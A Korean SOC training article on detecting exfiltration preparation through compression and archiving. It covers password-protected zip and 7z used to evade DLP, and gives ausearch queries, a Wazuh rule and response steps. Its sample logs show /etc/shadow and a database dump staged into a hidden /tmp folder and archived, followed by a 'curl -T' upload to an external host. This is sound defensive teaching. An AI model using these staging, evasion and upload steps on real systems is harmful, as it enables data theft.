230. 중요 정보 접근 — 압축·아카이브를 통한 유출 준비 탐지

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 30/50편 (전체 230/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

• 229. 중요 정보 접근 — 데이터 유출(exfiltration) 징후 개요
• 225. 대용량 데이터 수집(staging) 탐지

1. 개념

공격자는 유출 전 데이터를 압축·아카이브합니다. 여러 파일을 하나로 묶어 전송을 효율화하고, 압축으로 내용 기반 탐지(DLP)를 회피합니다. 압축은 수집(staging)과 유출 사이의 준비 신호입니다.

유출용 압축·아카이브 패턴
 tar czf data.tgz <수집파일>   : 묶기+압축
 zip -r -P pass data.zip       : 암호 압축(내용 숨김)
 gzip/xz 고압축                : 전송량 축소
 7z -mhe (헤더 암호화)         : 파일명까지 숨김

목적: 전송 효율 + DLP/내용 탐지 회피

특히 암호 압축(zip -P, 7z -p)은 내용을 숨겨 DLP를 무력화하므로, 암호 압축 자체가 강한 유출 준비 신호입니다.

2. 왜 중요한가

• 압축은 여러 수집 파일을 한 번에 전송 가능하게 해 유출을 효율화합니다.
• 암호 압축은 내용 기반 탐지(DLP)를 회피해, 무엇이 유출되는지 숨깁니다.
• 중요 정보 접근(E09~24) 직후의 압축은 유출 준비의 명확한 신호입니다.

3. 핵심 명령어 / 설정

압축 방법	목적	위험
tar czf	묶기+압축	높음
zip -P pass	암호 압축	매우 높음(DLP 회피)
7z -mhe	헤더 암호화	매우 높음
gzip/xz 고압축	전송량 축소	중간
정기 백업 압축	정상	정상

4. 실습 (실습 예시)

# 압축·아카이브 유출 준비 탐지 (분석 방법)
# 중요 정보 접근 후 압축(백업 외)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(tar|zip|gzip|xz|7z).*' | tail
# 암호 압축(내용 숨김)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -E 'zip.*-P|7z.*-p|-mhe|--password'

5. 정상 상태

$ (압축) 03:00 tar czf /backup/daily.tgz /etc (정기 백업 — 정상)
$ (암호 압축) (없음)

압축이 정기 백업에 그치고, 암호 압축·비정기 압축이 없는 상태가 정상입니다.

6. 이상 상태

$ (압축)
04:03 proctitle="tar czf /tmp/.d/all.tgz /tmp/.d/shadow /tmp/.d/db.sql"
$ (암호 압축)
04:04 proctitle="zip -r -P SecretPass /tmp/out.zip /tmp/.d/"

• staging한 shadow·db.sql을 tar 압축 → 유출용 단일 파일
• 암호 압축(zip -P) → 내용 숨김(DLP 회피)
• 중요 정보 접근 직후·암호 압축 → 유출 준비 → 정탐

7. 로그 분석 (분석 방법)

압축 유출 준비 흐름입니다(가상의 예시 로그).

[접근·staging] shadow·db.sql → /tmp/.d/ (E25)
      ↓
[압축] tar czf all.tgz 또는 zip -P pass out.zip
      ↓ (암호 압축이면 DLP 회피)
[유출] curl -T all.tgz 외부 (E32)

관찰	해석
tar czf 수집파일	유출용 묶기
zip -P pass	암호(DLP 회피)
접근 직후	유출 준비
이후 전송	유출

접근→압축→전송의 연계로 유출 준비를 포착하며, 암호 압축은 특히 주시합니다.

8. SOC 관제 포인트

• 유출용 압축·아카이브는 전송 효율+DLP 회피를 위한 유출 준비 단계입니다.
• 암호 압축(zip -P·7z -mhe)은 내용을 숨겨 DLP를 무력화하는 강한 신호입니다.
• 중요 정보 접근(E09~24) 직후의 압축을 유출 준비로 연계 탐지합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
  <!-- 암호 압축(내용 숨김 — DLP 회피) -->
  <rule id="104290" level="12">
    <if_sid>104280,104000</if_sid>
    <field name="audit.proctitle" type="pcre2">(zip\s+.*-P|7z\s+.*-p|7za?\s+.*-mhe|--password)</field>
    <description>암호 압축(내용 숨김 — 유출 준비·DLP 회피)</description>
    <mitre><id>T1560.001</id><id>T1027</id></mitre>
  </rule>
</group>

정기 백업 압축은 예외 처리합니다. 접근(E09~24)→압축→전송(E32)을 세션 상관해 유출 준비를 포착합니다.

10. 대응 방법

1. 초기 확인 — 압축·아카이브 방법(암호 여부)·대상·주체를 확인합니다.
2. 범위 확인 — 직전 중요 정보 접근·staging, 직후 전송과의 연계를 확인합니다.
3. 증거 확보 — 압축 이벤트와 생성된 아카이브(크기·대상)를 보존합니다.
4. 차단/조치 — 유출 준비 정탐이면 전송 전 차단·세션 종료·아카이브 내용 조사를 진행합니다.
5. 재발 방지 — 접근→압축→전송 연계 탐지를 운영합니다.

11. 핵심 정리

압축 방법	목적
tar czf	묶기+압축
zip -P/7z -mhe	암호(DLP 회피)
gzip/xz	전송량 축소
정기 백업	정상
면접 포인트	"유출용 압축은 전송 효율+DLP 회피 — 암호 압축이 강한 신호"

12. 다음 편 예고

다음 편 231. 중요 정보 접근 — 인코딩·난독화를 통한 유출 탐지 에서는 인코딩·난독화 유출을 다루는 인코딩·난독화를 통한 유출 탐지를 다룹니다.

---

이전 편: 229. 중요 정보 접근 — 데이터 유출(exfiltration) 징후 개요
📚 시리즈 전체 보기: 시스템 보안 · 취약점